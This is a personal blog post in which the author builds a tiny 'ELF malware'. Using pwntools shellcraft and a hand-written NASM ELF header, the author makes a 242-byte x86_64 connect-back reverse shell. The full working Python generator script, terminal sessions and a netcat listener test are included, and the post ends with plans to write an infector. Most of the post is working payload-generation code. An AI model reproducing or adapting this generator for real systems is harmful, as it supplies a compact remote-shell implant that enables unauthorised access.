Generating small elf binaries for fun and profit
The ideia was to code an ELF malware smaller then 1kb to insert it, encoded, inside a bacteriophage modded with CRISPR/Cas9 bringing an artistic view of a biologic infector containing a digital infector, an ode to singularity.
Well, to begin with, we gonna use python’s pwntool to generate the base code. On linux, on my test box at digitalocean, I installed with pip. Then,
paolo@kabbalah:~$ python Python 2.7.12 (default, Dec 4 2017, 14:50:18) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os, random, subprocess, string >>> from pwn import * >>> >>> ipaddr = '127.0.0.1' >>> port = 31337 >>> outfile = 'connectback' >>> >>> context(arch='x86_64') >>> >>> code = shellcraft.socket(network='ipv4', proto='tcp') >>> code += shellcraft.connect(ipaddr, port, network='ipv4') >>> code += shellcraft.dup2('rbp', 0) >>> code += shellcraft.dup2('rbp', 1) >>> code += shellcraft.dup2('rbp', 2) >>> code += shellcraft.sh() >>> >>> elf = ELF.from_assembly(code) [*] '/tmp/pwn-asm-nzvW_p/step3' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x10000000) RWX: Has RWX segments >>> elf.save('lnxmw1') >>> quit() paolo@kabbalah:~$ ls -alh lnxmw1 -rw-rw-r-- 1 paolo paolo 4.7K May 1 01:35 lnxmw1 paolo@kabbalah:~$ file lnxmw1 lnxmw1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped paolo@kabbalah:~$
As we can see, the binary was ok but too big(4.7kb), we have to improve it but first I want to install everything on my macbook. To install the environment on my OSX sierra
was a little tricky as pip3 version was not working. I solved with:
$ python3 -m pip install git+https://github.com/arthaud/python3-pwntools.git
after installed, I also had to install nasm with brew install nasm. So, I had a working environment. The binary tho was still too big. Then, I start to look for some elf
binary templates to hack into. After checking /usr/include/elf.h
, readelf and data from generated asm from pwn, I endded up with the following script:
import os, random, subprocess, string from pwn import * ipaddr = '127.0.0.1' port = 31337 outfile = 'binarycrazyness' context(arch='x86_64') code = shellcraft.socket(network='ipv4', proto='tcp') code += shellcraft.connect(ipaddr, port, network='ipv4') code += shellcraft.dup2('rbp', 0) code += shellcraft.dup2('rbp', 1) code += shellcraft.dup2('rbp', 2) code += shellcraft.sh() defines='' for sym in 'SYS_socket', 'SOCK_STREAM', 'SYS_connect', 'SYS_dup2', 'SYS_execve': defines += '%s equ %d\n' % (sym, getattr(constants, sym).real) # for OSX don't have addressFamily.AF_INET (which is, for ipv4, 2) just set it here: defines += 'AddressFamily.AF_INET equ 2\n' nasm_code = (""" BITS 64 org 0x400000 ehdr: ; Elf64_Ehdr db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 0x3e ; e_machine dd 1 ; e_version dq _start ; e_entry dq phdr - $$ ; e_phoff dq 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf64_Phdr dd 1 ; p_type dd 5 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr dq $$ ; p_paddr dq filesize ; p_filesz dq filesize ; p_memsz dq 0x1000 ; p_align phdrsize equ $ - phdr _start: """ + defines + code.replace('/*', '; /*') .replace('dword ptr [', 'dword [') + """ filesize equ $ - $$ """) with open('%s.asm' % "".join([random.choice(string.ascii_letters) for i in range(15)]), 'w') as f: f.write(nasm_code) f.flush() subprocess.Popen(['nasm', '-f', 'bin', '-o', outfile, f.name]).wait() os.remove(f.name) os.chmod(outfile, 0o0755)
Now, let’s run this file
paolo@daath ~/Workspace $ python3 gen.py paolo@daath ~/Workspace $ ls -alH -rwxr-xr-x 1 paolo staff 242 Apr 30 22:07 binarycrazyness paolo@daath ~/Workspace $ file binarycrazyness binarycrazyness: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, corrupted section header size paolo@daath ~/Workspace $
this corrupted section header size exist due to the forced ASM.
To test it, on a screen
, run
$ nc -l 31337
and, on another, run the binary itself. It’s beautiful and just 242 bytes!!!
Next steps are to use GETHOSTBYNAME and write an infector.
See you!